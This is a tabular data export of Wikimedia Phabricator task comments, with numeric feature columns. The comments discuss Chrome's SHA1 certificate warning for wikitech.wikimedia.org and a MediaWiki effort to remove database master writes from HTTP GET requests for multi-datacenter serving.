Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.",,,1427273538,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,23.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,17.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.75,"QUOTE
QUOTE
QUOTE
QUOTE

Indeed. Chrome 43 improved the SSL dialog with details about the warning. URL now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else."
432172,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
> ..
> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.

Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.

Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. So either we misread the announcement or maybe they postponed to Chrome 42.

{F103972}",,,1427273471,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0.0,1.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,7.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,18.0,1.0,4.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,4.0,7.0,12.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.144329896907217,0.7216494845360825,"QUOTE
QUOTE
QUOTE
QUOTE

Indeed. Chrome 43 improved the SSL dialog with details about the warning. URL now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.

Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. So either we misread the announcement or maybe they postponed to Chrome 42.

{F103972}"
432171,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
> ..
> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.

Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.

Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. So either we misread the announcement or maybe they postpooned it 6 weeks to Chrome 42.

{F103972}",,,1427273463,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0.0,1.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,7.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,3.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,17.0,1.0,4.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,5.0,7.0,12.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.11,0.72,"QUOTE
QUOTE
QUOTE
QUOTE

Indeed. Chrome 43 improved the SSL dialog with details about the warning. URL now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.

Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. So either we misread the announcement or maybe they postpooned it 6 weeks to Chrome 42.

{F103972}"
432170,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
> ..
> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.

Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.

Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. So either we misread the announcement or maybe they moved it up 6 weeks to Chrome 42.

{F103972}",,,1427273449,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.5,0.0,1.0,1.5,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,6.0,6.5,0.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,2.5,2.5,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,3.5,1.5,11.0,1.0,3.5,5.0,0.0,0.0,0.0,0.0,1.0,0.0,5.5,0.0,4.5,6.5,8.0,0.0,0.0,0.0,4.5,0.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,4.04,0.8325490196078431,"QUOTE
QUOTE
QUOTE
QUOTE

Indeed. Chrome 43 improved the SSL dialog with details about the warning. URL now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.

Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. So either we misread the announcement or maybe they moved it up 6 weeks to Chrome 42.

{F103972}"
432168,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
> ..
> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.

Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.

Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. 

{F103972}",,,1427273375,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0.0,1.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,18.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,2.0,7.0,13.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.0843373493975905,0.7228915662650602,"QUOTE
QUOTE
QUOTE
QUOTE

Indeed. Chrome 43 improved the SSL dialog with details about the warning. URL now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.

Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. 

{F103972}"
432166,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
> ..
> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.

Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.

Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. ",,,1427273325,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0.0,1.0,0.0,1.0,3.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,3.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,18.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,3.0,8.0,13.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,4.151898734177215,0.7468354430379747,"QUOTE
QUOTE
QUOTE
QUOTE

Indeed. Chrome 43 improved the SSL dialog with details about the warning. URL now shows in Chrome 43.0.2343.5 canary the following:

{F103968}

.. which confirms it is SHA1 and not something else.

Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. "
426371,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)

Chrome 39 will warn users if SHA1 certificates are used and expire after January 1, 2017.
Chrome 40 will warn users if SHA1 certificates are used and expire after June 1, 2016.
Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.",,,1426307441,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,17.0,4.0,4.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,12.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.875,0.5138888888888888,"this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)

Chrome 39 will warn users if SHA1 certificates are used and expire after January 1, 2017.
Chrome 40 will warn users if SHA1 certificates are used and expire after June 1, 2016.
Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016."
92357,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Most of MediaWiki was written with the assumption that MediaWiki and its data stores are collocated and connected via reliable, low-latency network links. Until recently, MediaWiki had minimal facilities for maintaining consistency and partition tolerance across wide-area network links. As a result, although the Wikimedia Foundation operates data centers in multiple locations, we only run MediaWiki in one location at any one time.

This has several practical consequences: first, we are not as fault-tolerant as we'd like to be. We have a secondary data center with enough capacity to serve our traffic in case our primary datacenter goes down, but it is in cold standby, meaning it takes some time (and some manual effort) to get it running. Second, site performance is poor for logged-in users that are geographically remote from Ashburn, Virginia, due to the time it takes to transmit and receive data across long-distance links. Thirdly, in some basic cases, like parsing pages, the master database must be up, leading to a SPOF.

It's going to take a lot of work to fix this completely, but we are getting closer to being able to serve some traffic from secondary datacenter. Specifically, we would like to serve ""reads"" -- requests that don't require a master database connection -- from a secondary datacenter.

In order to serve reads from a different datacenter, we need to be able to predict which incoming requests will modify data, so that we can route them accordingly. We need to be able to make this determination at the edge -- i.e., the outermost layers of the infrastructure, so it cannot be complicated or slow.

The solution we have is to use the HTTP request method (T91820): GETs/HEADs are read-only, while POSTs are not. This was already true for most cases, but there is a long tail of actions with side-effects that are done via GET, such as purge, rollback, markpatrolled.

This task mostly involves fixing DBPerformance log warnings. Warnings can be dealt with be:
a) Changing DB master reads to use DB slaves
b) Moving the database updates to POST requests, the jobqueue, or at least to post-send updates via DeferredUpdates
c) Disabling warnings for a few exceptional cases like CentralAuth.

See +channel:DBPerformance on logstash.wikimedia.org

Most of these warnings are writes or master queries on HTTP GET requests, which would be cross DC in active-active setup for some user. Ideally we could eventually get these to zero.",Medium,50.0,1426044550,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,False,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_description,open,True,c3,1,True,False,,-17,True,1.6,0.0,0.2,1.0,0.8,8.6,2.0,0.0,0.2,0.0,2.6,0.4,0.0,0.4,0.2,2.6,0.2,3.8,14.2,0.0,3.2,0.2,0.4,0.0,0.6,0.6,0.0,0.4,0.8,0.8,0.0,5.4,0.4,1.4,0.8,0.0,0.0,0.2,0.0,1.6,0.0,0.2,0.4,1.8,0.0,1.0,0.2,0.6,0.0,17.6,0.4,1.2,0.6,0.8,0.0,0.0,0.0,0.0,0.2,0.4,0.2,0.6,0.0,0.4,0.0,0.6,0.2,4.0,4.6,9.2,1.2,2.2,7.0,0.0,0.0,0.0,0.0,6.2,0.0,0.6,0.0,4.2,14.2,4.0,0.0,0.4,0.0,4.2,0.0,1.0,1.8,0.2,2.2,0.2,0.8,0.8,4.183838383838384,0.7151515151515151,"Most of MediaWiki was written with the assumption that MediaWiki and its data stores are collocated and connected via reliable, low-latency network links. Until recently, MediaWiki had minimal facilities for maintaining consistency and partition tolerance across wide-area network links. As a result, although the Wikimedia Foundation operates data centers in multiple locations, we only run MediaWiki in one location at any one time.

This has several practical consequences: first, we are not as fault-tolerant as we'd like to be. We have a secondary data center with enough capacity to serve our traffic in case our primary datacenter goes down, but it is in cold standby, meaning it takes some time (and some manual effort) to get it running. Second, site performance is poor for logged-in users that are geographically remote from Ashburn, Virginia, due to the time it takes to transmit and receive data across long-distance links. Thirdly, in some basic cases, like parsing pages, the master database must be up, leading to a SPOF.

It's going to take a lot of work to fix this completely, but we are getting closer to being able to serve some traffic from secondary datacenter. Specifically, we would like to serve ""reads"" -- requests that don't require a master database connection -- from a secondary datacenter.

In order to serve reads from a different datacenter, we need to be able to predict which incoming requests will modify data, so that we can route them accordingly. We need to be able to make this determination at the edge -- i.e., the outermost layers of the infrastructure, so it cannot be complicated or slow.

The solution we have is to use the HTTP request method (T91820): GETs/HEADs are read-only, while POSTs are not. This was already true for most cases, but there is a long tail of actions with side-effects that are done via GET, such as purge, rollback, markpatrolled.

This task mostly involves fixing DBPerformance log warnings. Warnings can be dealt with be:
a) Changing DB master reads to use DB slaves
b) Moving the database updates to POST requests, the jobqueue, or at least to post-send updates via DeferredUpdates
c) Disabling warnings for a few exceptional cases like CentralAuth.

See +channel:DBPerformance on logstash.wikimedia.org

Most of these warnings are writes or master queries on HTTP GET requests, which would be cross DC in active-active setup for some user. Ideally we could eventually get these to zero."
1995068,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499969 **abandoned** by Aaron Schulz:
%%%[mediawiki/core@master] Use the main stash for basic user talk page notifications%%%
Reason:
%%%%%%
https://gerrit.wikimedia.org/r/499969",,,1665004161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,378,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,21.0,2.0,0.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.4047619047619047,0.6428571428571429,"Change 499969 **abandoned** by Aaron Schulz:
%%%[mediawiki/core@master] Use the main stash for basic user talk page notifications%%%
Reason:
%%%%%%
GERRIT_URL"
1989657,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Removing task assignee due to inactivity as this open task has been assigned for more than two years. See the email sent to the task assignee on August 22nd, 2022.
Please assign this task to yourself again if you still realistically [plan to] work on this task - it would be welcome!
If this task has been resolved in the meantime, or [should not be worked on](https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle) (""declined""), please update its task status via ""Add Action… 🡒 Change Status"".
Also see https://www.mediawiki.org/wiki/Bug_management/Assignee_cleanup for tips how to best manage your individual work in Phabricator. Thanks!",,,1664188380,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,377,True,0.0,0.0,0.0,2.0,1.0,2.5,0.5,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.5,0.0,1.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,1.5,1.5,1.0,2.0,0.0,0.0,1.5,1.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,13.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,2.0,2.5,10.0,2.0,1.0,4.0,1.0,0.0,1.5,0.0,6.5,1.5,1.0,0.0,3.0,10.5,5.0,0.0,3.5,0.0,3.0,0.0,1.0,0.0,0.5,0.5,0.5,1.0,1.5,3.7844827586206895,0.8103448275862069,"Removing task assignee due to inactivity as this open task has been assigned for more than two years. See the email sent to the task assignee on August 22nd, 2022.
Please assign this task to yourself again if you still realistically [plan to] work on this task - it would be welcome!
If this task has been resolved in the meantime, or [should not be worked on](URL (""declined""), please update its task status via ""Add Action… 🡒 Change Status"".
Also see URL for tips how to best manage your individual work in Phabricator. Thanks!"
1884247,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499995 **abandoned** by Aaron Schulz:
%%%[mediawiki/core@master] [WIP] Avoid Category count refresh DB writes on HTTP GET%%%
Reason:
%%%%%%
https://gerrit.wikimedia.org/r/499995",,,1647924027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,350,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,2.0,0.0,0.0,7.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.227272727272727,0.6136363636363636,"Change 499995 **abandoned** by Aaron Schulz:
%%%[mediawiki/core@master] [WIP] Avoid Category count refresh DB writes on HTTP GET%%%
Reason:
%%%%%%
GERRIT_URL"
1536879,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"I'm slightly rescoping this to give the tracking task a natural end, namely to only track that which we want to get done prior to starting to serve active-active. For the rest we can file individual #sustainability and/or #performance_issue  tasks that we might track on our #perf-team-radar ",,,1593701744,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,261,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,8.0,0.0,7.0,12.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,5.0,0.0,3.0,0.0,2.0,10.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,4.083333333333333,0.7666666666666667,"I'm slightly rescoping this to give the tracking task a natural end, namely to only track that which we want to get done prior to starting to serve active-active. For the rest we can file individual #sustainability and/or #performance_issue  tasks that we might track on our #perf-team-radar "
1277857,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499985 abandoned by Aaron Schulz:
Add UserOptionsUpdateJob class and use it for namespaces at SpecialSearch

Reason:
Taking a different route

[[https://gerrit.wikimedia.org/r/499985]]",,,1557348099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,200,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,28.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,9.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,4.59375,0.84375,"Change 499985 abandoned by Aaron Schulz:
Add UserOptionsUpdateJob class and use it for namespaces at SpecialSearch

Reason:
Taking a different route

[[GERRIT_URL]]"
1269367,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499990 **merged** by jenkins-bot:
[mediawiki/extensions/NewUserMessage@master] Use a job for triggering new user talk messages

[[https://gerrit.wikimedia.org/r/499990]]",,,1556053218,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,198,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,17.0,3.8857142857142857,0.7714285714285715,"Change 499990 **merged** by jenkins-bot:
[mediawiki/extensions/NewUserMessage@master] Use a job for triggering new user talk messages

[[GERRIT_URL]]"
1253930,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499995 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/core@master] [WIP] Avoid Category count refresh DB writes on HTTP GET

[[https://gerrit.wikimedia.org/r/499995]]",,,1553852024,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,195,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,29.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,19.0,3.8095238095238093,0.8095238095238095,"Change 499995 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/core@master] [WIP] Avoid Category count refresh DB writes on HTTP GET

[[GERRIT_URL]]"
1253910,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499990 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/extensions/NewUserMessage@master] Use a job for triggering new user talk messages

[[https://gerrit.wikimedia.org/r/499990]]",,,1553849082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,195,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,15.0,4.219512195121951,0.8048780487804879,"Change 499990 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/extensions/NewUserMessage@master] Use a job for triggering new user talk messages

[[GERRIT_URL]]"
1253894,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499985 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/core@master] Add UserOptionsUpdateJob class and use it for namespaces at SpecialSearch

[[https://gerrit.wikimedia.org/r/499985]]",,,1553847260,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,195,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,10.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.425,0.85,"Change 499985 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
[mediawiki/core@master] Add UserOptionsUpdateJob class and use it for namespaces at SpecialSearch

[[GERRIT_URL]]"
1253845,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499969 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
